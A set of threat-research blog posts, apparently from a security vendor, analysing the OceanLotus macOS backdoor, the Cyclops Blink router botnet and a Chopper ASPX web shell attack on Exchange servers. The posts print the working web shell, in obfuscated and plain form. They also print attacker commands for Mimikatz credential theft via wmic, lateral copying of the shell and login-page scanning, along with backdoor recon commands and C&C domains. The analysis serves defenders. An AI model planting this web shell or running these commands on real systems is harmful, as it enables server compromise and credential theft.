Welcome To IDShell 1.0 20150310’s backdoor (detected as BKDR_IDSHELL.ZTFC-A) - The purpose of this backdoor, which has two types, including a steganography jpg version, is to recon the target machine.
Like other versions, it uses the DNS protocol to communicate with the backdoor controller.
The traffic is encrypted to evade detection.
Figure 8.
The backdoor’s communication traffic
Hey!
Welcome Server 2.0’s backdoor (detected as BKDR_TEBSHELL.ZTGK) – This is the latest version of the backdoor, available in 32-bit and 64-bit versions, which uses an invisible web shell for remote control and network security evasion.
It runs the process as a service, hides backdoor communication in normal traffic, and uses customized TCP protocol.
It also improves the way it handles wrong input commands and unauthorized access.
Figure 9.
The executable version will install and name it as a Windows service, change registry to disable error display, and launch the service
Tropic Trooper also used other tools in their attacks, such as:
Command-line remote control listener/port relay tool, which has different versions that can communicate with the backdoor.
Backdoor payload/steganography payload execution loaders, which have two versions that can be used to successfully load the encrypted payload and subsequently delete itself and the payload.
Port scanning tools, which are available on the internet.
The overview provided above highlights how putting critical information in physically isolated networks is not a bulletproof solution for defending against cyberespionage.
Steganography isn’t just used to deliver encrypted payloads; it can also be used to transfer information to a C&C server.
Multiple hacking tools and components can also help facilitate successful attacks on different networks and environments.
Threat actors like Tropic Trooper can also use an invisible web shell to hide its C&C server location and make incident response tricky.
MITRE ATT&CK Matrix
Best practices and Trend Micro solutions
The latest developments with Tropic Trooper indicate that they are well-prepared to target government institutions and military agencies for stolen intelligence.
The group also takes a long time to perform reconnaissance and consequently infiltrate physically isolated networks.
This research also underscores how threat actors could see potentially vulnerable targets as launch points for extending their attack attempts to other, more critical targets.
Understanding attack tactics and techniques can provide the needed context for assessing potential impact and adopting defensive strategies.
Here are some measures that organizations can practice to thwart advanced persistent threats with security that employs actionable threat intelligence, network-wide visibility, and timely threat protection:
Enforce the principle of least privilege.
Employ network segmentation and data categorization to deter lateral movement and mitigate exposure.
Keep the system and its applications up-to-date.
Weaknesses in the network can serve as entry points for attacks.
Enforce a strong patch management policy and consider virtual patching for legacy systems.
Regularly monitor your perimeter.
Adopt cross-layer detection and response across gateways, endpoints, networks, and servers to protect against a wide range of cybersecurity threats.
Firewalls and intrusion detection and prevention systems can help defend against network-based attacks.
Organizations can take advantage of the Trend Micro Apex One™ solution, which provides actionable insights, expanded investigative capabilities, and centralized visibility across the network through a variety of threat detection capabilities such as behavioral analysis that protects against malicious scripts, injection, ransomware, memory, and browser attacks.
A multilayered security solution such as Trend Micro™ Deep Discovery™ can also be considered; it provides in-depth analysis and proactive response to attacks using exploits and other similar threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect these attacks even without any engine or pattern updates.
Read our technical brief, which discusses in full our analyses of Tropic Trooper’s recent activities, the USBferry malware, and IoCs.
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We recently discovered a new backdoor we believe to be related to the OceanLotus group.
Some of the updates of this new variant (detected by Trend Micro as Backdoor.
MacOS.OCEANLOTUS.F) include new behavior and domain names.
As of writing, this sample is still undetected by other antimalware solutions.
Due to similarities in dynamic behavior and code with previous OceanLotus samples, it was confirmed to be a variant of the said malware.
Figures 1-2.
Comparison of old OceanLotus sample (above) with the latest OceanLotus sample (below)
OceanLotus was responsible for targeted attacks against organizations from industries such as media, research, and construction.
Recently they have also been discovered by researchers from Volexity to be using malicious websites to propagate malware.
The attackers behind this sample are suspected to target users from Vietnam since the document’s name is in Vietnamese and the older samples targeted the same region before.
Arrival
The sample arrives as an app bundled in a Zip archive.
It uses the icon for a Word document file as a disguise, attempting to pass itself off as a legitimate document file.
Figure 3.
The sample’s file name, icon, and app bundle structure
Another technique it uses to evade detection is adding special characters to its app bundle name.
When a user looks for the fake doc folder via the macOS Finder app or the terminal command line, the folder's name shows "ALL tim nha Chi Ngoc Canada.doc" (“tìm nhà Chị Ngọc” roughly translates to “find Mrs. Ngoc’s house”).
However, checking the original Zip file that contains the folder shows 3 unexpected bytes between "."
and "doc".
Figure 4.
Special character between ‘.’ and ‘doc’ as viewed inside the zip archive.
The 3 bytes "efb880" is in UTF-8 encoding.
According to UTF-8 mapping, the related Unicode code is "U+FE00".
Code point
First byte
Second byte
Third byte
Fourth byte
U+0000 to U+007F
0xxxxxxx
U+0080 to U+07FF
110xxxxx
10xxxxxx
U+0800 to U+FFFF
1110xxxx
10xxxxxx
10xxxxxx
U+10000 to U+10FFFF
11110xxx
10xxxxxx
10xxxxxx
10xxxxxx
Table 1.
UTF-8 mapping
"U+FE00" is a special Unicode control character with name variation selector-1, which provides the visual appearance of a CJK compatibility ideograph.
In this case, the preceding character is the general character ".
", so the variation selector does not change the visual appearance.
The operating system sees the app bundle as an unsupported directory type, so as a default action the “open” command is used to execute the malicious app.
Otherwise, if the postfix is .doc without special characters, Microsoft Word is called to open the app bundle as a document; but since it is not a valid document, the app fails to open it.
Here is the code signing information for the app bundle sample.
Figure 5.
Code signing information for the sample
The app bundle contains two notable files:
ALL tim nha Chi Ngoc Canada: The shell script containing the main malicious routines
configureDefault.def: The word file displayed during execution
Figure 6.
Contents of “ALL tim nha Chi Ngoc Canada” file
Figure 7.
The document displayed after executing the file
When the shell script was run, it performed the following routines:
1)      Delete the file quarantine attribute for the files in "*ALL tim nha Chi Ngoc Canada.
?doc*”
2)      Attempt to remove file quarantine attribute of the files in the system.
3)      Copy "ALL tim nha Chi Ngoc Canada.
?doc/Contents/Resources/configureDefault.def(doc)" to "/tmp/ALL tim nha Chi Ngoc Canada.doc(doc)"
4)      Open "/tmp/ALL tim nha Chi Ngoc Canada.doc(doc)"
5)      Extract the b64-encoded fat binary to "ALL tim nha Chi Ngoc Canada.
?doc/Contents/Resources/configureDefault.def(fat - binary)", which is the second-stage payload
6)      Change access permission of second-stage payload to execute the launch of the second-stage payload
7)      Delete the malware app bundle "ALL tim nha Chi Ngoc Canada.
?doc"
8)      Copy "/tmp/ALL tim nha Chi Ngoc Canada.doc(doc)" to "{execution directory}/ALL tim nha Chi Ngoc Canada.doc"
9)      Delete "/tmp/ALL tim nha Chi Ngoc Canada.doc"
Second-stage payload
When executed, the second stage payload (ALL tim nha Chi Ngoc Canada.
?doc/Contents/Resources/configureDefault.def) performs the following malware routines:
1)      Drop third-stage payload to ~/Library/User Photos/mount_devfs
2)      Create persistence for the sample by creating ~/Library/LaunchAgents/com.apple.marcoagent.voiceinstallerd.plist
Figure 8.
Plist file ~/Library/LaunchAgents/com.apple.marcoagent.voiceinstallerd.plist
3)      Use the touch command to change the timestamp of the sample
Figure 9.
The timestamp of the dropped files
4)      Delete itself
Third-stage payload
In the third-stage payload (~/Library/User Photos/mount_devfs), the strings are encrypted with custom encryption using base64 encoding and byte manipulation.
Figure 10.
Encrypted strings
Figures 11-12.
Decryption routine
Like older versions of the OceanLotus backdoor, the new version contains two main functions: one for collecting operating system information and submitting this to its malicious C&C servers and receiving additional C&C communication information, and another for the backdoor capabilities.
It collects the following information from the infected system by invoking the following commands:
Command
Description
system_profiler SPHardwareDataType 2>/dev/null | awk '/Processor / {split($0,line,\":\"); printf(\"%s\",line[2]);}'
Get processor information
15f20 = system_profiler SPHardwareDataType 2>/dev/null | awk '/Memory/ {split($0,line, \":\"); printf(\"%s\", line[2]);}'
Get memory information
ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformSerialNumber/ { split($0, line, \"\\\"\"); printf(\"%s\", line[4]); }
Get serial number
ifconfig -l
ifconfig <device> | awk '/ether /{print $2}' 2>&1
Get network interface MAC addresses
Table 2.
OceanLotus commands and descriptions
The collected information is encrypted and sent to the malware C&C server.
Figure 13.
TCP stream excerpt of the malware sending information to C&C server
It also receives commands from the same server.
Figure 14.
TCP stream excerpt of the malware receiving commands from C&C server
Here are the C&C servers used by the malware:
mihannevis[.
]com
mykessef[.
]com
idtpl[.
]org
The new variant’s backdoor capabilities are similar to those of the old OceanLotus sample, as detailed in the code excerpts below:
Figures 15-16.
A comparison of the codes of the old OceanLotus variant (above) and the new one (below)
Below are the supported commands and their respective codes (taken from an earlier blog post that covered OceanLotus).
0x33
Get file size
0xe8
Exit
0xa2
Download and execute a file
0xac
Run command in terminal
0x48
Remove file
0x72
Upload file
0x23
Download file
0x3c
Download file
0x07
Get configuration info
0x55
Empty response, heartbeat packet
Table 3.
Supported commands and their respective codes
Details about C&C domain names
According to its Google and Whois history, the mihannevis[.
]com domain was used to host other websites in the past before it was changed to a C&C server around the end of August 2020.
Figures 17-18.
Domain history of mihannevis[.
]com, from Whois (above) and Google (below)
In VirusTotal, some related URL queries appeared at the end of August.
Figure 19.
URLs related to mihannevis[.
]com as seen on VirusTotal
The domain "mykessef[.
]com" was used for the C&C server earlier.
Figure 20.
Domain history of mykessef[.
]com based on Whois Lookup
The domain name "idtpl[.
]org" was registered three years ago, and there was no update history.
According to Whois lookup, its register expired at the end of March 2020.
Figure 21.
idtpl[.
]org registration information based on Whois Lookup
But from the middle of July 2020, its IP address changed to 185[.]117[.]88[.
]91.
Figure 22.
Domain History of idtpl[.
]org as seen on VirusTotal
Recommendations
Threat groups such as OceanLotus are actively updating malware variants in attempts to evade detection and improve persistence.
The following best practices can be applied to defend against malware:
Never click links or download attachments from emails coming from suspicious sources
Regularly patch and update software and applications
Use security solutions suitable for your operating system
To protect systems operating on macOS, we recommend Trend Micro Home Security for Mac, which offers comprehensive and multi-device protection against malware and other cyberthreats.
Indicators of Compromise
SHA-256
Filename/Description
Trend Micro Pattern Detection
cfa3d506361920f9e1db9d8324dfbb3a9c79723e702d70c3dc8f51825c171420
ALL%20tim%20nha%20Chi%20Ngoc%20Canada.zip
Backdoor.
MacOS.OCEANLOTUS.F
48e3609f543ea4a8de0c9375fa665ceb6d2dfc0085ee90fa22ffaced0c770c4f
ALL tim nha Chi Ngoc Canada
Backdoor.SH.OCEANLOTUS.F
05e5ba08be06f2d0e2da294de4c559ca33c4c28534919e5f2f6fc51aed4956e3
2nd stage fat binary
Backdoor.
MacOS.OCEANLOTUS.F
fd7e51e3f3240b550f0405a67e98a97d86747a8a07218e8150d2c2946141f737
3rd stage fat binary
Backdoor.
MacOS.OCEANLOTUS.F
Domains
mihannevis[.
]com
mykessef[.
]com
idtpl[.
]org
MITRE TTP
Tactic
ID
Name
Description
Defense Evasion
T1070.004
File Deletion
The app bundle and dropper delete themselves after execution
T1222.002
Linux and Mac File and Directory Permissions Modification
The backdoor changes the permission of the file it wants to execute to +x
T1027
Obfuscated Files or Information
Readable strings were encrypted
T1036.005
Masquerading: Match Legitimate Name or Location
The app bundle is disguised as a doc file to trick users into executing it
T1070.006
Indicator Removal on Host: Timestomp
The backdoor modifies the date and time of the dropped files using the “touch” command
Discovery
T1082
System Information Discovery
The backdoor collects various information to send to the C&C server
Collection
T1560.003
Archive Collected Data: Archive via Custom Method
The backdoor encrypts the data before exfiltration
Command and Control
T1095
Non-Application Layer Protocol
Like previous samples, performs backdoor routines based on C&C data
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With additional insights from Philippe Z Lin
Note: This article has been updated on March 17, 2022, 2:00 a.m.
ET to include Asus’ security bulletin.
Cyclops Blink, an advanced modular botnet that is reportedly linked to the Sandworm or Voodoo Bear advanced persistent threat (APT) group, has recently been used to target WatchGuard Firebox devices according to an analysis performed by the UK’s National Cyber Security Centre (NCSC).
We acquired a variant of the Cyclops Blink malware family that targets Asus routers.
This report discusses the technical capabilities of this Cyclops Blink malware variant and includes a list of more than 150 current and historical command-and-control (C&C) servers of the Cyclops Blink botnet.
This list aims to aid cybersecurity defenders in searching for affected devices in their networks and starting the remediation process.
We have reached out to Asus regarding our investigation, and they have created a security bulletin that includes a security checklist to help prevent Cyclops Blink attacks, as well as a list of affected Asus products.
Our data also shows that although Cyclops Blink is a state-sponsored botnet, its C&C servers and bots affect WatchGuard Firebox and Asus devices that do not belong to critical organizations, or those that have an evident value on economic, political, or military espionage.
Hence, we believe that it is possible that the Cyclops Blink botnet’s main purpose is to build an infrastructure for further attacks on high-value targets.
Cyclops Blink has been around since at least June 2019, and a considerable number of its C&C servers and bots are active for up to about three years.
The Sandworm APT group has been attributed as creating both Cyclops Blink and the VPNFilter internet of things (IoT) botnet.
VPNFilter, first discovered in 2018, targeted router and storage devices.
It was also reported to have infected hundreds of thousands of devices.
In 2021, Trend Micro published a technical analysis of VPNFilter, which includes a discussion of how the botnet continues to affect infected systems two years after its discovery.
Sandworm was also responsible for many high-profile attacks, including the 2015 and 2016 attacks on the Ukrainian electrical grid, the 2017 NotPetya attack, the 2017 French presidential campaign, the 2018 Olympic Destroyer attack on the Winter Olympic Games, and a 2018 operation against the Organization for the Prohibition of Chemical Weapons (OPCW).
Cyclops Blink malware analysis
Cyclops Blink is a modular malware written in the C language.
In its core component, the first thing that the malware does is to check if its executable file name starts with "[k".
If it does not, it performs the following routine:
It redirects both stdout and stderr file descriptors to /dev/null.
It sets the default handlers for SIGTERM, SIGINT, SIGBUS, SIGPIPE, and SIGIO signals.
It reloads itself with a new "[ktest]" process name.
It then waits for 37 seconds before it sets up its hard-coded parameters.
These include the hard-coded C&C servers and the interval that should be used to communicate with the C&C servers.
It also creates a pipe for inter-process communication (IPC) by calling the pipe() function for getting two file descriptors for reading and writing data.
It also enables non-blocking I/O for the writing file descriptor by using ioctl().
After this, a new data packet will be created in memory, which will then be sent to a C&C server.
The details of this communication are covered later in this analysis.
For every hard-coded TCP port used to communicate with the C&C servers, the malware creates a rule in Netfilter — the Linux kernel firewall — using the iptc_insert_entry() function from libiptc1 to allow output communication to it.
The rules have the following parameters:
Protocol: TCP
Chain: filter
Table: OUTPUT
Action: ACCEPT
Destination ports: 636, 994, and 995
For an unknown reason, the malware deletes the aforementioned rules and creates them again, this time using the iptables command via the system() function.
The commands are as follows:
iptables -D OUTPUT -p tcp --dport %d -j ACCEPT
iptables -I OUTPUT -p tcp --dport %d -j ACCEPT
The OpenSSL library is then initialized, and the core component proceeds to initialize the hard-coded modules.
Modules initialization
During this part, the core component initializes the modules.
Communication with the modules is performed via pipes.
For each hard-coded module, the malware creates two pipes before executing them in their own child processes.
Figure 1.
The function that initializes the modules
In Figure 1, we inferred the following mod_t structure:
Figure 2.
Inferred mod_t structure; the last member is unknown.
Parameters
The parameters are then initialized.
They consist of a 592-byte structure containing essential information sent to the modules via pipes.
This information includes:
A “<p: ” string header
The pipe of the core component
All C&C IP addresses and ports
The local IP address
An interval for C&C server communication
When the next packet to be sent to a C&C server is
The main process PID
A hard-coded ID (we saw 0xA08F078B, 0xBD0A5B36, and 0xA244E5E2)
The parameters are pushed to the modules, which are initialized at this point.
C&C communication
After obtaining data from the modules, the core component starts the encryption routines that will cipher the data before sending it to the C&C server.
Encryption
Cyclops Blink encrypts data using OpenSSL functions that should be available in the infected device as they are dynamically loaded.
The data is encrypted using AES-256 in cipher block chaining (CBC) mode with a randomly generated 256-bit key and 128-bit initialization vector (IV).
It is then encrypted using a hard-coded RSA-2560 (320-bit) public key unique to each sample.
The malware authors decided to use the EVP_SealInit() function.
This function performs all of the aforementioned encryption steps, including the random AES key and IV generation.
The C&C server must have the corresponding RSA private key to decrypt the data.
After encryption, if the total packet length is greater than 98,303 bytes, the packet is sent.
Data transferring
To send data to the C&C server, the core component performs a TLS handshake with a randomly chosen C&C server at a random TCP port, both of which are from a hard-coded list.
After choosing an IP address and a TCP port pair, the core component creates a child process to perform the communication.
The child process will connect to the C&C server and write four bytes to the SSL socket.
These four bytes are the packet size that it wants to send.
Figure 3.
The child process writes four bytes to the SSL socket.
The server must reply with an exact four-byte answer, which is the victim's IPv4 address.
10 bytes are then written to the core component pipe.
The data follows a specific format.
For example:
Packet length
Target module
Command
Data (victim's IPv4 address)
00 00 00 0a
00
07
c0 a8 00 01
The core component then receives more data from the C&C server.
This time, it expects an encrypted packet to be decrypted using the hard-coded RSA-2560 public key.
The malware expects a response where the first four bytes are the size of the packet followed by the encrypted data.
Figure 4.
Core component code that receives and decrypts data from the C&C server
If something is received, it is decrypted and written to the main pipe.
For decryption, the malware uses the RSA_public_decrypt() function, which decrypts data encrypted with a corresponding private key, leveraging the “reversibility” of the RSA encryption algorithm.
Finally, a variable containg the next time a packet should be sent is updated and all of the parameters are sent to the modules again.
This is because the core component can receive new parameters from the C&C servers.
Commands
The data received from the C&C servers comprises either commands to the core component itself or to one of its modules.
First, the core component sends the supported commands to the C&C server and then enters in a loop where it expects one of the commands.
If a command targets the core component, it can be one of the following:
Command ID
Action
0
Terminates the program
1
Bypasses the data-sending interval and sends data to C&C servers immediately
2
Adds a new C&C server to the list in memory
3
Sets time to send the next packet to the C&C server
4
Sets time to send the next packet to the C&C server
5
Adds a new module (an ELF file should be received following the command)
6
Reloads the malware
7
Sets the local IP address parameter
8
Sets a new worker ID
9
Sets an unknown byte value
10
Resends configuration to all running modules
Modules
Asus (0x38)
This module can read and write from the devices' flash memory.
The flash memory is used by these devices to store the operating system, configuration, and all files from the file system.
Our research was carried out on the RT-AC68U, but other Asus routers such as RT-AC56U might be affected as well.
It’s important to note, however, that since the malware is modular in nature, it can be easily recompiled to target any other device.
The samples we’ve obtained work in the conditions mentioned in this report, but the malware actors seem ready to target any other router model or brand.
In fact, this is what they have done with WatchGuard — it’s the same code, but it has been recompiled for the brand.
First, the module examines the content /proc/mtd file, which provides general information about the devices’ Memory Technology Device (MTD) subsystem.
The MTD provides an abstraction layer to access the device's flash memory.
The malware looks for the strings “linux” and “rootfs” and reads it using a printf()-like format:
Figure 5.
The module looks for “linux” and “rootfs” strings
The inferred mdt_data_t structure is as follows:
Figure 6.
The mtd_data_t structure
The data is read to this structure.
The content of /proc/mtd for an Asus RT-AC68U device is as follows:
Figure 7.
Typical /proc/mtd from an Asus RT-AC68U router
Therefore, for the case here, the malware would open /dev/mtd2, which is the partition where the Linux kernel image is stored.
Why the malware authors decided to read either “linux” or “rootfs” partition is unclear.
Based on our knowledge, they have quite different purposes.
While the first holds the operating system, the second stores programs’ critical files, such as executables, data, and libraries.
Cyclops Blink reads 80 bytes from the flash memory, writes it to the main pipe, and enters a loop to wait for a command to replace the partition content:
Figure 8.
Asus module main loop
If the data coming from the core component starts with “<p:”, it means that it is a parameter for this module and 80 bytes will be written to the flash memory, effectively replacing its content.
The writing is done by the j_save_data() function.
It does this by correctly erasing the NAND eraseblocks first via ioctl() calls, and then writing the new content to them, as the following image shows:
Figure 9.
Cyclops Blink Asus module code for writing to raw flash memory
As the flash memory content is permanent, this module can be used to establish persistence and survive factory resets.
Although it cannot be used as proof of attribution, the preceding code reminded us of a routine from the third-stage code of VPNFilter’s process called “dstr” that was intended to “brick” the infected device.
Apart from deleting many important files and even trying to delete the whole root file system, this particular VPNFilter stage also writes many 0xff bytes to the raw flash memory:
Figure 10.
VPNFilter “dstr” third-stage code for writing to raw flash memory
System reconnaissance (0x08)
This module is responsible for sending information from the infected device to the C&C server.
The following data is obtained from an infected device:
The Linux version, which the module gets by calling the uname() function and /etc/issue file
Information about the device’s memory consumption, which it gets by calling the sysinfo() function
The SSD storage information, which it gets by calling the statvfs() function
The content of the following files:
/etc/passwd
/etc/group
/proc/mounts
/proc/partitions
Information about the network interfaces, which it gets by calling the if_nameindex() and iotctl() functions with the SIOCGIFHWADDR and SIOCGIFADDR commands.
File download (0x0f)
This module can download files from the internet.
The DNS resolution is performed using DNS over HTTPS (DoH).
The malware sends an HTTP POST request to a Google DNS Server (8.8.8.8) using the following headers:
Figure 11.
HTTP POST request over SSL for DNS resolution
This module seems to be an earlier version of the same module (0x0f) that is used by the Cyclops Blink variant reported by NCSC.
The main differences between the modules are as follows:
This module does not have an upload feature.
The 0x1 bit in the control flags is used in this module to specify if the download should be done via HTTPS.
Infrastructure
We have been able to determine that the botnet of Cyclops Blink infected routers from both compromised WatchGuard devices and Asus routers.
These compromised devices periodically connect to C&C servers that are themselves hosted on compromised WatchGuard devices.
We have evidence that the routers of at least one vendor other than Asus and WatchGuard are connecting to Cyclops Blink C&Cs as well, but so far we have been unable to collect malware samples for this router brand.
The botnet of Cyclops Blink has been around for some time.
Using historical data of internet-wide scans and SSL certificate data, it is likely that Cyclops Blink dates back to at least June 2019.
Since June 2019, the actor has issued more than 50 SSL certificates that were used on WatchGuard C&Cs on various TCP ports (as far as we are aware, the following TCP ports were used: 636, 989, 990, 994, 995, 3269, and 8443).
In Appendix A, we have listed both the live and inactive C&Cs used by Cyclops Blink for the benefit of network defenders.
We have observed that some of the WatchGuard and Asus bots were never cleaned up because these routers still try to connect periodically to old C&Cs that were secured or taken offline.
Figure 12.
The timeline of several SSL certificates that were issued for Cyclops Blink C&Cs
Our investigation shows that there are more than 200 Cyclops Blink victims around the world.
Typical countries of infected WatchGuard devices and Asus routers are the United States, India, Italy, Canada, and a long list of other countries, including Russia.
It should be noted that these victims do not appear to be evidently valuable targets for either economic, military, or political espionage.
For example, some of the live C&Cs are hosted on WatchGuard devices used by a law firm in Europe, a medium-sized company producing medical equipment for dentists in Southern Europe and a plumber in the United States.
This is in line with the increasing number of brute-force attacks performed by other APT groups such as Pawn Storm, a group that has compromised numerous assets like email addresses and email servers of targets that are typically not aligned with Pawn Storm’s objectives.
Just like Pawn Storm, Sandworm is fishing with a wide net or looking to compromise assets on a larger scale.
Figure 13.
The number of months that Cyclops Blink C&Cs have been live; it is important to note that live C&Cs during the time of reporting have been included.
Conclusion and security recommendations
Over the past few years, IoT attacks have been escalating globally and internet routers have been one of the primary targets.
There are several reasons that these devices are favored by an attacker — the infrequency of patching, the lack of security software, and the limited visibility of defenders.
Combined, these allow for the possibility of what we refer to as "eternal botnets."
Once an IoT device is infected with malware, an attacker can have unrestricted internet access for downloading and deploying more stages of malware for reconnaissance, espionage, proxying, or anything else that the attacker wants to do.
The underlying operating systems for the majority of IoT devices is Linux, which is also used by many powerful systems tools.
This can allow attackers to add anything else that they might need to complete their attacks.
In the case of Cyclops Blink, we have seen devices that were compromised for over 30 months (about two and a half years) in a row and were being set up as stable C&C servers for other bots.
The NCSC report covered malware targeting a specific vendor, namely WatchGuard.
Based on our previous analysis of VPNFilter, we assumed that there were more vendors being attacked by this group.
The vendors that were targeted by VPNFilter were Asus, D-Link, Huawei, Linksys, MikroTik, Netgear, QNAP, TP-Link, Ubiquiti, UPVEL, and ZDE.
In the case of Cyclops Blink, we received samples targeting Asus routers that were not previously reported on.
The Asus version of the Cyclops Blink malware that we have analyzed showed some differences compared to the WatchGuard versions that have been previously discussed.
The samples that we have analyzed are compiled for ARM and are dynamically linked against uClibc.
They also contain a module that specifically targets Asus routers.
Asus is likely only one of the vendors that is currently being targeted by Cyclops Blink.
We have evidence that other routers are affected too, but as of reporting, we were not able to collect Cyclops Blink malware samples for routers other than WatchGuard and Asus.
Looking into the malware and the infrastructure being used by Cyclops Blinks actors gives us some clues about the other vendors that might be affected and how widespread this malware is.
By sharing this additional technical observation, we aim to help network defenders, as well as those likely to be targeted by APT groups (such as Sandworm), gain a more complete picture of the Cyclops Blink campaign.
Based on our observation, we strongly believe that there are more targeted devices from other vendors.
This malware is modular in nature and it is likely that each vendor has different modules and architectures that were thought out well by the Cyclops Blink actors.
Moreover, the purpose of this botnet is still unclear: Whether it is intended to be used for distributed denial-of-service (DDoS) attacks, espionage, or proxy networks remains to be seen.
But what is evident is that Cyclops Blink is an advanced piece of malware that focuses on persistence and the ability to survive domain sinkhole attempts and the takedown of its infrastructure.
The APT group behind this malware has learned from its VPNFilter campaigns and continues to attack IoT devices such as routers.
In the age of work-from-home (WFH) during the pandemic, it’s possible that espionage is part of the reason that IoT devices are still major targets for advanced attackers.
The more routers are compromised, the more sources of powerful data collection — and avenues for further attacks — become available to attackers.
Having a distributed infrastructure also makes it more difficult for cybersecurity teams to take down the whole attack.
This is also why, after more than two years, there are still live VPNFilter hosts out there.
Organizations can protect themselves from Cyclops Blink attacks by using strong passwords and re-examining their security measures.
It is also important to ensure that only the services that absolutely need to be exposed to the internet are exposed.
Access to these services should be limited, which can be achieved by configuring a virtual private network (VPN) that can access those services remotely.
It’s also important to set reminders to check if devices such as routers, cameras, network-attached storage (NAS) devices, and other IoT devices have been patched or otherwise.
If it is suspected that an organization’s devices have been infected with Cyclops Blink, it is best to get a new router.
Performing a factory reset might blank out an organization’s configuration, but not the underlying operating system that the attackers have modified.
If a particular vendor has firmware updates that can address a Cyclops Blink attack or any other weakness in the system, organizations should apply these as soon as possible.
However, in some cases, a device might be an end-of-life product and will no longer receive updates from its vendor.
In such cases, an average user would not have the ability to fix a Cyclops Blink infection.
While the Cyclops Blink malware variant that we analyzed in this report is complicated in nature, one thing proves to be unmistakable when it comes to the Sandworm group that created it: Sandworm is a persistent and sophisticated group whose motives are clearly at odds with those that would be expected from groups that are primarily financially motivated.
Sandworm’s previous high-profile victims and their attacks’ substantial impact on these organizations are particularly worrying — even more so for a group that quickly learns from past errors, comes back stronger time and time again, and for whom international repercussions seem minimal at best.
The indicators of compromise (IOCs) can be found in this appendix and the C&C server validation script can be accessed via this text file.
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Web shells, in their simplicity and straightforwardness, are highly potent when it comes to compromising systems and environments.
These malicious code pieces can be written in ASP, PHP, and JSP, or any script that can execute a system command with a parameter that can pass through the web.
Web shells can be embedded on web servers and can be used by malicious actors to launch arbitrary code.
In as little as 15 bytes, web shells can enable remote administration of an infected machine or system.
Threats such as this can be difficult to detect even with multiple security layers — especially if they are not consolidated.
In this blog, we will dissect a targeted attack that made use of the Chopper ASPX web shell (detected by Trend Micro as Backdoor.ASP.WEBSHELL.UWMANA).
Technical Analysis
Initial access
Based on our investigation, the Chopper web shell is dropped via a system token, potentially via a Microsoft Exchange Server vulnerability.
One notable vulnerability in the Microsoft Exchange Server is CVE-2020-0688, a remote code execution bug.
Microsoft issued a patch for this vulnerability in  February 2020.
However, the malicious actors behind this attack drop the Chopper web shell in the web directory folder to establish persistence.
Through the ASPX file, malicious actors can establish a foothold in affected public-facing Outlook Web App (OWA) servers and send remote commands through them.
Outlook Web App (Web Directory)  -  D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\15.1.2044\scripts\premium\premium.aspx
The attack features the following script:
<%@ Page Language="Jscript" Debug=true%>
<%
var a=System.
Text.
Encoding.
GetEncoding(65001).GetString(System.
Convert.
FromBase64String("UmVxdWVzdC5Gb3JtWyJjb21tYW5kIl0="));
var b=System.
Text.
Encoding.
GetEncoding(65001).GetString(System.
Convert.
FromBase64String("dW5zYWZl"));
var c=eval(a,b);
eval(c,b);
%>
When simplified, the malicious script looks like this, with the eval being the executor and the Request.
Form acquiring the parameter to be executed:
<%@ Page Language="Jscript"%><%eval(Request.
Form["Command"],"unsafe");%>
We’ve observed that in some cases, malicious actors insert this short script to avoid detection:
Figure 1.
A short script inserted by malicious actors to avoid detection
User Activity Checking
Once Chopper successfully infects a system, the malicious actor will issue a query user (quser) command in an attempt to identify the primary user or those who are currently logged in as users in the system.
Based on our observation, the quser command was used routinely throughout the attack to determine active remote sessions.
Figure 2.
The quser command is used to identify active remote sessions.
Deobfuscation technique
To deploy its tools, it uses the expand command to extract package files dropped in the system.
expand {filename}.ex_ {filename}.dat
expand {filename}.ex_ {filename}.exe
We saw a noticeable difference with this attack compared to other Chopper attacks — its use of the .dat file extension, which is commonly used for data storage purposes, such as in a user profile’s ntuser.dat.
In this particular Chopper attack, the .dat files are used as executables.
Lateral movement
It proceeded with copying the Chopper web shell into accessible shared folders in other hosts to gain access.
copy premium.aspx "\\{hostname}\d$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\15.1.2044\scripts\premium
It also scans for vulnerabilities across the network by using an installed tool, Hacktool.
Win32.CATLIKE.A, and a legitimate cURL, C:\temp\curl.dat.
It specifically scans for web server-related vulnerabilities and password weaknesses in Apache Tomcat, Citrix, and phpMyAdmin applications.
Application/Port
Command
Oracle WebLogic
curl.dat -v -H 'Content-Type: text/xml;charset=UTF-8' http://{ip address\]:7001/wls-wsat/CoordinatorPortType
Oracle Console
curl.dat -vv http://{ip address}:7001/console/j_security_check  -d j_username={username}&j_password={password}&submit=Login"
PHPMyAdmin
curl.dat -vv --connect-timeout 2 {ip address}/phpmyadmin
Apache Tomcat
s.dat -u http://{ip address}:8080/manager/html
Ports
7001
9095
5556
8080
s.dat -i 10.217.229.189 -p {ports}
Table 1.
Commands used to scan for web server-related vulnerabilities and passwords on certain applications and ports
We saw that this attack also uses the WMI command line (wmic) utility to perform remote process execution on other infected endpoints.
Execution of arbitrary commands via session id
Successful exploitation of CVE-2020-0688 gives Chopper access to system privileges.
In one of the endpoints, it will drop and execute Trojan.
Win32.PRIVESC.A.
This trojan requires to be run under a user with SeTcbPrivilege.
It allows an attacker to see all Windows sessions and can execute arbitrary commands on the session via session id.
Figure 3.
Examples of arbitrary commands being performed on the session via session id
Discovery
For its discovery, it uses typical Windows command-line tools such as nltest, ping, whoami,  netstat, net, nslookup, hostname, and tasklist, which are commonly used in other attacks.
In addition, a publicly available JoeWare domain tool called LG.exe, which is quite popular among attackers and domain admins alike, was installed and used in the attack.
Credential access
For obtaining user credentials, the attackers used HackTool.MSIL.Mimikatz.AF, a modified version of the open-sourced application Mimikatz, using the following parameters: x, xxx, xxxx, xxxasd.
wmic /node:{ip address} process call create "cmd.exe /c c:\users\mpBD6D42.dat xxxasd -pass > c:\users\23.txt
Collection
The attackers use wevtutil.exe to query security-related events from a target username and export it as a q.txt file.
For packaging stolen credentials and other logs, it uses the makecab command instead of a third-party application such as rar.exe.
·        makecab a.txt > 111
·        makecab aaa2.txt >1
The attacker uses installed security components or applications as filenames to hide in plain sight.
·        C:\Program Files\Trend Micro\ ams p.dat
·        C:\Oracle\Oracle.dat
·        C:\Program Files\McAfee\MacAfee.dat
These suspicious activities were seen via our XDR solution, which helped us monitor observable attack techniques and provided critical security alerts including anomalous file extension execution, remote execution via system tools, web shell-related activities, and potential exploit attacks.
Security recommendations
Web shells can be embedded in systems via security gaps such as vulnerabilities.
